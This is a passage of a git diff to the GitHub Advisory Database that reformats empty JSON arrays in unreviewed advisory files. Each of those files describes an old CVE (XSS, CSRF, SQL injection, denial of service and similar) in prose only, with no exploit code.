a/advisories/unreviewed/2022/05/GHSA-hwp3-c628-9f7v/GHSA-hwp3-c628-9f7v.json +++ b/advisories/unreviewed/2022/05/GHSA-hwp3-c628-9f7v/GHSA-hwp3-c628-9f7v.json @@ -7,12 +7,8 @@ "CVE-2014-0191" ], "details": "The xmlParserHandlePEReference function in parser.c in libxml2 before 2.9.2, as used in Web Listener in Oracle HTTP Server in Oracle Fusion Middleware 11.1.1.7.0, 12.1.2.0, and 12.1.3.0 and other products, loads external parameter entities regardless of whether entity substitution or validation is enabled, which allows remote attackers to cause a denial of service (resource consumption) via a crafted XML document.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -76,9 +72,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-hx48-9j3f-rqqx/GHSA-hx48-9j3f-rqqx.json b/advisories/unreviewed/2022/05/GHSA-hx48-9j3f-rqqx/GHSA-hx48-9j3f-rqqx.json index 1a458345fc0..d4796818183 100644 --- a/advisories/unreviewed/2022/05/GHSA-hx48-9j3f-rqqx/GHSA-hx48-9j3f-rqqx.json +++ b/advisories/unreviewed/2022/05/GHSA-hx48-9j3f-rqqx/GHSA-hx48-9j3f-rqqx.json @@ -7,12 +7,8 @@ "CVE-2013-4690" ], "details": "Juniper Junos 10.4 before 10.4S13, 11.4 before 11.4R7-S1, 12.1 before 12.1R5-S3, 12.1X44 before 12.1X44-D20, and 12.1X45 before 12.1X45-D10 on the SRX1400, SRX3400, and SRX3600 does not properly initialize memory locations used during padding of Ethernet packets, which allows remote attackers to obtain sensitive information by reading packet data, aka PR 829536, a related issue to CVE-2003-0001.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -36,9 +32,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-hx5r-vv9r-p946/GHSA-hx5r-vv9r-p946.json b/advisories/unreviewed/2022/05/GHSA-hx5r-vv9r-p946/GHSA-hx5r-vv9r-p946.json index 37e966ddd38..d6dbfd59eb1 100644 --- a/advisories/unreviewed/2022/05/GHSA-hx5r-vv9r-p946/GHSA-hx5r-vv9r-p946.json +++ b/advisories/unreviewed/2022/05/GHSA-hx5r-vv9r-p946/GHSA-hx5r-vv9r-p946.json @@ -7,12 +7,8 @@ "CVE-2013-3982" ], "details": "The Meeting Server in IBM Sametime 8.x through 8.5.2.1 and 9.x through 9.0.0.1 allows remote attackers to obtain unspecified installation information and technical data via a request to a public page.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-hx6c-jgjx-4m3c/GHSA-hx6c-jgjx-4m3c.json b/advisories/unreviewed/2022/05/GHSA-hx6c-jgjx-4m3c/GHSA-hx6c-jgjx-4m3c.json index 87e2f846b61..7221d8a5511 100644 --- a/advisories/unreviewed/2022/05/GHSA-hx6c-jgjx-4m3c/GHSA-hx6c-jgjx-4m3c.json +++ b/advisories/unreviewed/2022/05/GHSA-hx6c-jgjx-4m3c/GHSA-hx6c-jgjx-4m3c.json @@ -7,12 +7,8 @@ "CVE-2013-5983" ], "details": "Multiple cross-site scripting (XSS) vulnerabilities in GuppY before 4.6.28 allow remote attackers to inject arbitrary web script or HTML via the (1) \"an\" parameter to agenda.php or (2) cat parameter to mobile/thread.php.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-hx92-5v4x-hjgw/GHSA-hx92-5v4x-hjgw.json b/advisories/unreviewed/2022/05/GHSA-hx92-5v4x-hjgw/GHSA-hx92-5v4x-hjgw.json index 46ac748a2e4..18424d7355e 100644 --- a/advisories/unreviewed/2022/05/GHSA-hx92-5v4x-hjgw/GHSA-hx92-5v4x-hjgw.json +++ b/advisories/unreviewed/2022/05/GHSA-hx92-5v4x-hjgw/GHSA-hx92-5v4x-hjgw.json @@ -7,12 +7,8 @@ "CVE-2013-3797" ], "details": "Unspecified vulnerability in Oracle Solaris 11 allows local users to affect availability via unknown vectors related to Filesystem/DevFS.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -36,9 +32,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-j26j-4g3m-54f9/GHSA-j26j-4g3m-54f9.json b/advisories/unreviewed/2022/05/GHSA-j26j-4g3m-54f9/GHSA-j26j-4g3m-54f9.json index 763d2abb582..9ed0540c3a7 100644 --- a/advisories/unreviewed/2022/05/GHSA-j26j-4g3m-54f9/GHSA-j26j-4g3m-54f9.json +++ b/advisories/unreviewed/2022/05/GHSA-j26j-4g3m-54f9/GHSA-j26j-4g3m-54f9.json @@ -7,12 +7,8 @@ "CVE-2013-6327" ], "details": "Cross-site scripting (XSS) vulnerability in the HTTP Option in IBM Sterling Connect:Enterprise 1.3 before 1.3.0.2 iFix 1 and 1.4 before 1.4.0.0 iFix 1 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors, related to a \"cross-frame scripting\" issue.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-j3w7-32p3-pr7w/GHSA-j3w7-32p3-pr7w.json b/advisories/unreviewed/2022/05/GHSA-j3w7-32p3-pr7w/GHSA-j3w7-32p3-pr7w.json index aab8efb32ae..bd117965006 100644 --- a/advisories/unreviewed/2022/05/GHSA-j3w7-32p3-pr7w/GHSA-j3w7-32p3-pr7w.json +++ b/advisories/unreviewed/2022/05/GHSA-j3w7-32p3-pr7w/GHSA-j3w7-32p3-pr7w.json @@ -7,12 +7,8 @@ "CVE-2013-4798" ], "details": "Unspecified vulnerability in HP LoadRunner before 11.52 allows remote attackers to execute arbitrary code via unknown vectors, aka ZDI-CAN-1705.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -36,9 +32,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "HIGH", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-j476-c72m-mm9v/GHSA-j476-c72m-mm9v.json b/advisories/unreviewed/2022/05/GHSA-j476-c72m-mm9v/GHSA-j476-c72m-mm9v.json index 60a3773cc06..869956c0b9c 100644 --- a/advisories/unreviewed/2022/05/GHSA-j476-c72m-mm9v/GHSA-j476-c72m-mm9v.json +++ b/advisories/unreviewed/2022/05/GHSA-j476-c72m-mm9v/GHSA-j476-c72m-mm9v.json @@ -7,12 +7,8 @@ "CVE-2013-5306" ], "details": "SQL injection vulnerability in the Browser - TYPO3 without PHP (browser) extension before 4.5.5 for TYPO3 allows remote attackers to execute arbitrary SQL commands via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-j56r-gpjc-mhvp/GHSA-j56r-gpjc-mhvp.json b/advisories/unreviewed/2022/05/GHSA-j56r-gpjc-mhvp/GHSA-j56r-gpjc-mhvp.json index 040c29f26b8..823b3e12f33 100644 --- a/advisories/unreviewed/2022/05/GHSA-j56r-gpjc-mhvp/GHSA-j56r-gpjc-mhvp.json +++ b/advisories/unreviewed/2022/05/GHSA-j56r-gpjc-mhvp/GHSA-j56r-gpjc-mhvp.json @@ -7,12 +7,8 @@ "CVE-2013-3748" ], "details": "Unspecified vulnerability in Oracle Solaris 11 allows remote attackers to affect availability via vectors related to Driver/IDM (iSCSI Data Mover).", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -36,9 +32,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "HIGH", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-j5g6-4pmh-gvq8/GHSA-j5g6-4pmh-gvq8.json b/advisories/unreviewed/2022/05/GHSA-j5g6-4pmh-gvq8/GHSA-j5g6-4pmh-gvq8.json index 16a4169d8fa..c8653d4f9dc 100644 --- a/advisories/unreviewed/2022/05/GHSA-j5g6-4pmh-gvq8/GHSA-j5g6-4pmh-gvq8.json +++ b/advisories/unreviewed/2022/05/GHSA-j5g6-4pmh-gvq8/GHSA-j5g6-4pmh-gvq8.json @@ -7,12 +7,8 @@ "CVE-2013-3980" ], "details": "The Meeting Server in IBM Sametime 8.x through 8.5.2.1 and 9.x through 9.0.0.1 allows remote attackers to cause a denial of service (room unusability) by generating a large number of fictitious users to enter a meeting room.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-j648-m8g6-h7mq/GHSA-j648-m8g6-h7mq.json b/advisories/unreviewed/2022/05/GHSA-j648-m8g6-h7mq/GHSA-j648-m8g6-h7mq.json index 05b0125f314..08dfa4f0add 100644 --- a/advisories/unreviewed/2022/05/GHSA-j648-m8g6-h7mq/GHSA-j648-m8g6-h7mq.json +++ b/advisories/unreviewed/2022/05/GHSA-j648-m8g6-h7mq/GHSA-j648-m8g6-h7mq.json @@ -7,12 +7,8 @@ "CVE-2013-5444" ], "details": "The server in IBM Cognos Express 9.0 before IFIX 2, 9.5 before IFIX 2, 10.1 before IFIX 2, and 10.2.1 before FP1 allows remote attackers to read encrypted credentials via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -28,9 +24,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-j742-gw52-675p/GHSA-j742-gw52-675p.json b/advisories/unreviewed/2022/05/GHSA-j742-gw52-675p/GHSA-j742-gw52-675p.json index ca3b992b572..02f9f4f070b 100644 --- a/advisories/unreviewed/2022/05/GHSA-j742-gw52-675p/GHSA-j742-gw52-675p.json +++ b/advisories/unreviewed/2022/05/GHSA-j742-gw52-675p/GHSA-j742-gw52-675p.json @@ -7,12 +7,8 @@ "CVE-2013-4050" ], "details": "Cross-site request forgery (CSRF) vulnerability in webadmin.nsf in Domino Web Administrator in IBM Domino 8.5 and 9.0 allows remote authenticated users to hijack the authentication of unspecified victims via unknown vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-j7gx-rw8w-qg58/GHSA-j7gx-rw8w-qg58.json b/advisories/unreviewed/2022/05/GHSA-j7gx-rw8w-qg58/GHSA-j7gx-rw8w-qg58.json index fb21ef8e098..1fef5149f25 100644 --- a/advisories/unreviewed/2022/05/GHSA-j7gx-rw8w-qg58/GHSA-j7gx-rw8w-qg58.json +++ b/advisories/unreviewed/2022/05/GHSA-j7gx-rw8w-qg58/GHSA-j7gx-rw8w-qg58.json @@ -7,12 +7,8 @@ "CVE-2013-5308" ], "details": "Cross-site scripting (XSS) vulnerability in the RealURL Management (realurlmanagement) extension 0.3.4 and earlier for TYPO3 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-j8j9-5cwh-936j/GHSA-j8j9-5cwh-936j.json b/advisories/unreviewed/2022/05/GHSA-j8j9-5cwh-936j/GHSA-j8j9-5cwh-936j.json index 1133db63a1f..05959969f60 100644 --- a/advisories/unreviewed/2022/05/GHSA-j8j9-5cwh-936j/GHSA-j8j9-5cwh-936j.json +++ b/advisories/unreviewed/2022/05/GHSA-j8j9-5cwh-936j/GHSA-j8j9-5cwh-936j.json @@ -7,12 +7,8 @@ "CVE-2013-5426" ], "details": "Session fixation vulnerability in IBM InfoSphere Master Data Management - Collaborative Edition 10.x before 10.1 IF5 and 11.0 before IF1 and InfoSphere Master Data Management Server for Product Information Management 9.x before 9.1 IF11 allows remote authenticated users to hijack web sessions via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-j985-48q8-8p8c/GHSA-j985-48q8-8p8c.json b/advisories/unreviewed/2022/05/GHSA-j985-48q8-8p8c/GHSA-j985-48q8-8p8c.json index 91c94775c8e..bea1b8b4f75 100644 --- a/advisories/unreviewed/2022/05/GHSA-j985-48q8-8p8c/GHSA-j985-48q8-8p8c.json +++ b/advisories/unreviewed/2022/05/GHSA-j985-48q8-8p8c/GHSA-j985-48q8-8p8c.json @@ -7,12 +7,8 @@ "CVE-2013-6745" ], "details": "Cross-site scripting (XSS) vulnerability in the IMS server before Ifix 6 in IBM Security Access Manager for Enterprise Single Sign-On (ISAM ESSO) 8.2 allows remote authenticated users to inject arbitrary web script or HTML via crafted input to an unspecified dynamic web form.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-j9mg-4w6g-6wfc/GHSA-j9mg-4w6g-6wfc.json b/advisories/unreviewed/2022/05/GHSA-j9mg-4w6g-6wfc/GHSA-j9mg-4w6g-6wfc.json index 7b1ffaa3ad4..2a4967bfbf9 100644 --- a/advisories/unreviewed/2022/05/GHSA-j9mg-4w6g-6wfc/GHSA-j9mg-4w6g-6wfc.json +++ b/advisories/unreviewed/2022/05/GHSA-j9mg-4w6g-6wfc/GHSA-j9mg-4w6g-6wfc.json @@ -7,12 +7,8 @@ "CVE-2013-5443" ], "details": "Cross-site request forgery (CSRF) vulnerability in IBM Cognos Express 9.0 before IFIX 2, 9.5 before IFIX 2, 10.1 before IFIX 2, and 10.2.1 before FP1 allows remote attackers to hijack the authentication of arbitrary users.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-jcg8-56jg-p3r6/GHSA-jcg8-56jg-p3r6.json b/advisories/unreviewed/2022/05/GHSA-jcg8-56jg-p3r6/GHSA-jcg8-56jg-p3r6.json index cae34f11267..164e4cc131a 100644 --- a/advisories/unreviewed/2022/05/GHSA-jcg8-56jg-p3r6/GHSA-jcg8-56jg-p3r6.json +++ b/advisories/unreviewed/2022/05/GHSA-jcg8-56jg-p3r6/GHSA-jcg8-56jg-p3r6.json @@ -7,12 +7,8 @@ "CVE-2013-5448" ], "details": "Cross-site scripting (XSS) vulnerability in the Right Click Plugin context menus in IBM Security QRadar SIEM 7.1 and 7.2 before 7.2 MR1 Patch 1 allows remote authenticated users to inject arbitrary web script or HTML via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-jfh2-vxqv-9h7g/GHSA-jfh2-vxqv-9h7g.json b/advisories/unreviewed/2022/05/GHSA-jfh2-vxqv-9h7g/GHSA-jfh2-vxqv-9h7g.json index 0706549ef21..5d3d78562b1 100644 --- a/advisories/unreviewed/2022/05/GHSA-jfh2-vxqv-9h7g/GHSA-jfh2-vxqv-9h7g.json +++ b/advisories/unreviewed/2022/05/GHSA-jfh2-vxqv-9h7g/GHSA-jfh2-vxqv-9h7g.json @@ -7,12 +7,8 @@ "CVE-2013-2960" ], "details": "Buffer overflow in KDSMAIN in the Basic Services component in IBM Tivoli Monitoring (ITM) 6.2.0 through FP3, 6.2.1 through FP4, 6.2.2 through FP9, and 6.2.3 before FP3, as used in IBM Application Manager for Smart Business (formerly Tivoli Foundations Application Manager) 1.2.1 before 1.2.1.0-TIV-IAMSB-FP0004 and other products, allows remote attackers to cause a denial of service (segmentation fault) via a crafted http URL.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-jfxp-x34q-78xp/GHSA-jfxp-x34q-78xp.json b/advisories/unreviewed/2022/05/GHSA-jfxp-x34q-78xp/GHSA-jfxp-x34q-78xp.json index e5d0fe44c1c..d3a1db7c3e4 100644 --- a/advisories/unreviewed/2022/05/GHSA-jfxp-x34q-78xp/GHSA-jfxp-x34q-78xp.json +++ b/advisories/unreviewed/2022/05/GHSA-jfxp-x34q-78xp/GHSA-jfxp-x34q-78xp.json @@ -7,12 +7,8 @@ "CVE-2013-6497" ], "details": "clamscan in ClamAV before 0.98.5, when using -a option, allows remote attackers to cause a denial of service (crash) as demonstrated by the jwplayer.js file.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -88,9 +84,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "LOW", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-jg29-v3j9-f966/GHSA-jg29-v3j9-f966.json b/advisories/unreviewed/2022/05/GHSA-jg29-v3j9-f966/GHSA-jg29-v3j9-f966.json index 34369b13f7a..9a60441c75b 100644 --- a/advisories/unreviewed/2022/05/GHSA-jg29-v3j9-f966/GHSA-jg29-v3j9-f966.json +++ b/advisories/unreviewed/2022/05/GHSA-jg29-v3j9-f966/GHSA-jg29-v3j9-f966.json @@ -7,12 +7,8 @@ "CVE-2013-3997" ], "details": "Open redirect vulnerability in the Web Application Enterprise Console in IBM InfoSphere BigInsights 1.1 and 2.x before 2.1 FP2 allows remote authenticated users to redirect users to arbitrary web sites and conduct phishing attacks via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-jgvm-2rq8-h38j/GHSA-jgvm-2rq8-h38j.json b/advisories/unreviewed/2022/05/GHSA-jgvm-2rq8-h38j/GHSA-jgvm-2rq8-h38j.json index 9e7ad080d69..dd647cbbc35 100644 --- a/advisories/unreviewed/2022/05/GHSA-jgvm-2rq8-h38j/GHSA-jgvm-2rq8-h38j.json +++ b/advisories/unreviewed/2022/05/GHSA-jgvm-2rq8-h38j/GHSA-jgvm-2rq8-h38j.json @@ -7,12 +7,8 @@ "CVE-2013-7043" ], "details": "Multiple cross-site request forgery (CSRF) vulnerabilities on Cisco Scientific Atlanta DPR2320R2 routers with software 2.0.2r1262-090417 allow remote attackers to hijack the authentication of administrators for requests that (1) change a password via the Password parameter to goform/RgSecurity; (2) reboot the device via the Restart parameter to goform/restart; (3) modify Wi-Fi settings, as demonstrated by the WpaPreSharedKey parameter to goform/wlanSecurity; or (4) modify parental controls via the ParentalPassword parameter to goform/RgParentalBasic.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-jgwq-qjm7-cj36/GHSA-jgwq-qjm7-cj36.json b/advisories/unreviewed/2022/05/GHSA-jgwq-qjm7-cj36/GHSA-jgwq-qjm7-cj36.json index 09c9820db28..0ef17ca7cab 100644 --- a/advisories/unreviewed/2022/05/GHSA-jgwq-qjm7-cj36/GHSA-jgwq-qjm7-cj36.json +++ b/advisories/unreviewed/2022/05/GHSA-jgwq-qjm7-cj36/GHSA-jgwq-qjm7-cj36.json @@ -7,12 +7,8 @@ "CVE-2013-3996" ], "details": "IBM InfoSphere BigInsights 1.1 through 2.1 does not properly handle FRAME elements, which makes it easier for remote authenticated users to conduct phishing attacks via a crafted web site.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-jj5r-5hhq-fx7r/GHSA-jj5r-5hhq-fx7r.json b/advisories/unreviewed/2022/05/GHSA-jj5r-5hhq-fx7r/GHSA-jj5r-5hhq-fx7r.json index ab4eb212383..9128934e406 100644 --- a/advisories/unreviewed/2022/05/GHSA-jj5r-5hhq-fx7r/GHSA-jj5r-5hhq-fx7r.json +++ b/advisories/unreviewed/2022/05/GHSA-jj5r-5hhq-fx7r/GHSA-jj5r-5hhq-fx7r.json @@ -7,12 +7,8 @@ "CVE-2013-4044" ], "details": "IBM SPSS Collaboration and Deployment Services 4.2.1 before 4.2.1.3 IF3 and 5.0 before FP3 allows remote authenticated users to read application log files via a direct HTTP request.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-jjmf-p64f-6wmv/GHSA-jjmf-p64f-6wmv.json b/advisories/unreviewed/2022/05/GHSA-jjmf-p64f-6wmv/GHSA-jjmf-p64f-6wmv.json index f6828e78a91..1a209c20681 100644 --- a/advisories/unreviewed/2022/05/GHSA-jjmf-p64f-6wmv/GHSA-jjmf-p64f-6wmv.json +++ b/advisories/unreviewed/2022/05/GHSA-jjmf-p64f-6wmv/GHSA-jjmf-p64f-6wmv.json @@ -7,12 +7,8 @@ "CVE-2013-5036" ], "details": "The Square Squash allows remote attackers to execute arbitrary code via a YAML document in the (1) namespace parameter to the deobfuscation function or (2) sourcemap parameter to the sourcemap function in app/controllers/api/v1_controller.rb.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-jmpg-5mfj-649v/GHSA-jmpg-5mfj-649v.json b/advisories/unreviewed/2022/05/GHSA-jmpg-5mfj-649v/GHSA-jmpg-5mfj-649v.json index 8d41cbca246..58b41d7f4f9 100644 --- a/advisories/unreviewed/2022/05/GHSA-jmpg-5mfj-649v/GHSA-jmpg-5mfj-649v.json +++ b/advisories/unreviewed/2022/05/GHSA-jmpg-5mfj-649v/GHSA-jmpg-5mfj-649v.json @@ -7,12 +7,8 @@ "CVE-2013-3429" ], "details": "Multiple directory traversal vulnerabilities in Cisco Video Surveillance Manager (VSM) before 7.0.0 allow remote attackers to read system files via a crafted URL, related to the Cisco_VSBWT (aka Broadware sample code) package, aka Bug ID CSCsv37163.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-jp55-q2w7-qq2c/GHSA-jp55-q2w7-qq2c.json b/advisories/unreviewed/2022/05/GHSA-jp55-q2w7-qq2c/GHSA-jp55-q2w7-qq2c.json index 77cfea5e0bd..284f3272f8a 100644 --- a/advisories/unreviewed/2022/05/GHSA-jp55-q2w7-qq2c/GHSA-jp55-q2w7-qq2c.json +++ b/advisories/unreviewed/2022/05/GHSA-jp55-q2w7-qq2c/GHSA-jp55-q2w7-qq2c.json @@ -7,12 +7,8 @@ "CVE-2014-0658" ], "details": "Cisco 9900 Unified IP phones allow remote attackers to cause a denial of service (unregistration) via a crafted SIP header, aka Bug ID CSCul24898.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-jpgx-25w5-rvq8/GHSA-jpgx-25w5-rvq8.json b/advisories/unreviewed/2022/05/GHSA-jpgx-25w5-rvq8/GHSA-jpgx-25w5-rvq8.json index a89ed78e644..3b3955ec4b8 100644 --- a/advisories/unreviewed/2022/05/GHSA-jpgx-25w5-rvq8/GHSA-jpgx-25w5-rvq8.json +++ b/advisories/unreviewed/2022/05/GHSA-jpgx-25w5-rvq8/GHSA-jpgx-25w5-rvq8.json @@ -7,12 +7,8 @@ "CVE-2013-4954" ], "details": "Multiple cross-site scripting (XSS) vulnerabilities in wp-login.php in the Genetech Solutions Pie-Register plugin before 1.31 for WordPress, when \"Allow New Registrations to set their own Password\" is enabled, allow remote attackers to inject arbitrary web script or HTML via the (1) pass1 or (2) pass2 parameter in a register action. NOTE: some of these details are obtained from third party information.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-jpj7-j6wg-mx8x/GHSA-jpj7-j6wg-mx8x.json b/advisories/unreviewed/2022/05/GHSA-jpj7-j6wg-mx8x/GHSA-jpj7-j6wg-mx8x.json index 0a702626504..8e19e891674 100644 --- a/advisories/unreviewed/2022/05/GHSA-jpj7-j6wg-mx8x/GHSA-jpj7-j6wg-mx8x.json +++ b/advisories/unreviewed/2022/05/GHSA-jpj7-j6wg-mx8x/GHSA-jpj7-j6wg-mx8x.json @@ -7,12 +7,8 @@ "CVE-2013-4018" ], "details": "IBM Maximo Asset Management 6.2 through 6.2.8, 7.1 before 7.1.1.12, and 7.5 before 7.5.0.5 allows remote authenticated users to obtain sensitive information via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -40,9 +36,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-jqgv-v967-8r8h/GHSA-jqgv-v967-8r8h.json b/advisories/unreviewed/2022/05/GHSA-jqgv-v967-8r8h/GHSA-jqgv-v967-8r8h.json index 462daaf4eda..5c0eb7e8ac2 100644 --- a/advisories/unreviewed/2022/05/GHSA-jqgv-v967-8r8h/GHSA-jqgv-v967-8r8h.json +++ b/advisories/unreviewed/2022/05/GHSA-jqgv-v967-8r8h/GHSA-jqgv-v967-8r8h.json @@ -7,12 +7,8 @@ "CVE-2013-4373" ], "details": "The storeFiles method in JPADriftServerBean in Red Hat JBoss Operations Network (JON) 3.1.2 allows local users to load arbitrary drift files into a server by writing the files to the temporary directory that is used to unpack zip files.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-jqhr-8h68-hrwh/GHSA-jqhr-8h68-hrwh.json b/advisories/unreviewed/2022/05/GHSA-jqhr-8h68-hrwh/GHSA-jqhr-8h68-hrwh.json index bc184b39432..14c5f8bddef 100644 --- a/advisories/unreviewed/2022/05/GHSA-jqhr-8h68-hrwh/GHSA-jqhr-8h68-hrwh.json +++ b/advisories/unreviewed/2022/05/GHSA-jqhr-8h68-hrwh/GHSA-jqhr-8h68-hrwh.json @@ -7,12 +7,8 @@ "CVE-2014-0755" ], "details": "Rockwell Automation RSLogix 5000 7 through 20.01, and 21.0, does not properly implement password protection for .ACD files (aka project files), which allows local users to obtain sensitive information or modify data via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -36,9 +32,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-jw28-hjmx-6x9q/GHSA-jw28-hjmx-6x9q.json b/advisories/unreviewed/2022/05/GHSA-jw28-hjmx-6x9q/GHSA-jw28-hjmx-6x9q.json index 668c56270d3..448565cafeb 100644 --- a/advisories/unreviewed/2022/05/GHSA-jw28-hjmx-6x9q/GHSA-jw28-hjmx-6x9q.json +++ b/advisories/unreviewed/2022/05/GHSA-jw28-hjmx-6x9q/GHSA-jw28-hjmx-6x9q.json @@ -7,12 +7,8 @@ "CVE-2014-0662" ], "details": "The SIP module in Cisco TelePresence Video Communication Server (VCS) before 8.1 allows remote attackers to cause a denial of service (process failure) via a crafted SDP message, aka Bug ID CSCue97632.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-jw94-7cxh-2x3r/GHSA-jw94-7cxh-2x3r.json b/advisories/unreviewed/2022/05/GHSA-jw94-7cxh-2x3r/GHSA-jw94-7cxh-2x3r.json index 9f0b594039f..c4679148293 100644 --- a/advisories/unreviewed/2022/05/GHSA-jw94-7cxh-2x3r/GHSA-jw94-7cxh-2x3r.json +++ b/advisories/unreviewed/2022/05/GHSA-jw94-7cxh-2x3r/GHSA-jw94-7cxh-2x3r.json @@ -7,12 +7,8 @@ "CVE-2013-4053" ], "details": "The WS-Security implementation in IBM WebSphere Application Server (WAS) 6.1 before 6.1.0.47, 7.0 before 7.0.0.31, 8.0 before 8.0.0.8, and 8.5 before 8.5.5.1, and WAS Feature Pack for Web Services 6.1 before 6.1.0.47, when a trust store is configured for XML Digital Signatures, does not properly verify X.509 certificates, which allows remote attackers to obtain privileged access via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-jwcq-7v6p-m9w6/GHSA-jwcq-7v6p-m9w6.json b/advisories/unreviewed/2022/05/GHSA-jwcq-7v6p-m9w6/GHSA-jwcq-7v6p-m9w6.json index 7b50a3748a5..10050220740 100644 --- a/advisories/unreviewed/2022/05/GHSA-jwcq-7v6p-m9w6/GHSA-jwcq-7v6p-m9w6.json +++ 